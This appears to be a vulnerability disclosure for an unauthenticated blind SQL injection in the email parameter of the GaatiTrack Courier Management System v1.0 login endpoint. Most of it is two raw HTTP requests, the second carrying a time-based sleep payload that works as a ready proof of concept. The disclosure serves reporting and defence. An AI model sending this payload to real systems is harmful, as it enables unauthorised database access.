Descriptions:
Blind SQL injection in ajax.php in GaatiTrack Courier Management
System v1.0 allows an unauthenticated attacker to insert malicious SQL
queries via email parameter.


Steps to Reproduce:

1. Request:

POST /gaatitrack/ajax.php?action=login HTTP/1.1
Host: 192.168.1.74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 83
Origin: http://192.168.1.74
Connection: close
Referer: http://192.168.1.74/gaatitrack/login.php
Cookie: PHPSESSID=abl1dci7hob2f90sf5ag9k00mp;
KOD_SESSION_SSO=8lu85nmqbd7o912f2lldm1g08k;
KOD_SESSION_ID_53f4f=p7am25v0dladkuqetsqer4mdhc

email=test%40test.com&password=123456

2. Now use blind sqli query after email parameter. So your request data will be:

POST /gaatitrack/ajax.php?action=login HTTP/1.1
Host: 192.168.1.74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 83
Origin: http://192.168.1.74
Connection: close
Referer: http://192.168.1.74/gaatitrack/login.php
Cookie: PHPSESSID=abl1dci7hob2f90sf5ag9k00mp;
KOD_SESSION_SSO=8lu85nmqbd7o912f2lldm1g08k;
KOD_SESSION_ID_53f4f=p7am25v0dladkuqetsqer4mdhc

email=test%40test.com'XOR(if(now()=sysdate()%2Csleep(4)%2C0))XOR'&password=123456
